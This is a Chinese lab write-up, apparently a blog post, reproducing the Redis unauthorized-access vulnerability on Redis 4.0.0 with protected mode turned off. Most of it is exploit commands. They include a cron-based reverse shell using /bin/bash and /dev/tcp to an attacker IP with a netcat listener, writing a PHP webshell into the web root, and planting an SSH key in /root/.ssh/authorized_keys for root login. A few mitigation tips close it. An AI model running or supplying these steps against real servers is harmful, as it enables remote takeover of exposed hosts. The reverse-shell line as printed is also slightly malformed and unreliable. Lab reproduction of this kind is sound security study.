Redis未授权访问漏洞复现

Redis介绍

redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。

Redis 是一个高性能的key-value数据库。

漏洞简述

Redis中存在未授权访问漏洞,该漏洞源于程序在默认配置下会绑定在6379端口,这导致其直接暴露在公网中,可以接受来自任何地址发来的请求。当程序没有开启认证选项端口对外开放时,攻击者可借助目标服务器访问权限利用该漏洞未授权访问Redis并读取Redis的数据,在服务器上写入公钥,进而使用对应的私钥直接登录目标服务器。

安装Redis

下载redis安装包
下载地址

这里我是用的Redis 4.0.0

tar -zxvf redis-4.0.0.tar.gz #解压redis压缩包
cd redis-4.0.0 #切换到目录
make #编译安装
#安装过程中可能会报错
#安装gcc等插件,依据报错情况下载插件 yum install gcc/apt-get install gcc

在这里插入图片描述

cp redis.conf  ./scr/redis.conf #复制redis.conf文件到src
修改配置文件
vim redis.conf
#bind 127.0.0.1
bind 192.168.220.129 #redis服务器所在地址
protected-mode no #将yes改为no这里

启动redis服务

./redis-server ../src/redis.conf 

在这里插入图片描述

任务计划反弹shell

攻击机监听端口
netcat -lvp 5555

在这里插入图片描述

攻击机连接redis服务器
redis-cli -h 192.168.220.129

在这里插入图片描述

将shell写入redis,设置以下参数。
set test "\n\n*/1 * * * * /bin/bash/-i&/dev/tcp/192.168.x.x/5555 0>&1\n\n" #设置计划任务为test,写入shell,一分钟后同5555端口反弹shell。
config set dir /var/spool/cron #设置计划任务的工作目录
config set dbfilename root #设置数据库名为root
save #保存

在这里插入图片描述
反弹shell
在这里插入图片描述

通过redis将webshell写入网站

设置参数

set w "<?php phpinfo(); ?>" #设置文件内容
config set dir /var/www/html/dvwa #写入目录
config set dbfilename p.php #写入文件名称
save

在这里插入图片描述
可以看到已经写入
在这里插入图片描述
在这里插入图片描述
上传马儿成功连接菜刀
在这里插入图片描述

利用公私钥获取root权限

在攻击机上生成公钥对

ssh-keygen -t rsa 

在这里插入图片描述

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt #将公钥id_rsa.pub文件写入test.txt文件
cat test.txt #查看写入的test.txt文件。

在这里插入图片描述
将test.txt文件写入redis

cat test.txt | redis-cli -h 192.168.220.129 -x set crack 

在这里插入图片描述
连接redis设置以下参数,将公钥写入到目录下的/root/.ssh/authorized_keys文件,直接免密连接目标主机。

redis-cli -h 192.168.220.129
config set dir /root/.ssh/ #设置工作目录为/root/.ssh/
config set dbfilename "authorized_keys" #设置db名字
config get dbfilename #查看db名字
config get dir #查看工作目录
save

在这里插入图片描述
在这里插入图片描述

ssh -i id_rsa root@192.168.220.129 -p 2223

在这里插入图片描述

修补建议

修改默认bind 127.0.0.1的地址,修改为仅允许访问的ip地址。
修改默认的6379端口。
配置认证,也就是AUTH,设置密码,密码会以明文方式保存在Redis配置文件中。

参考学习文章

https://www.cnblogs.com/bmjoker/p/9548962.html#gallery-24
https://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/

  • 1
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值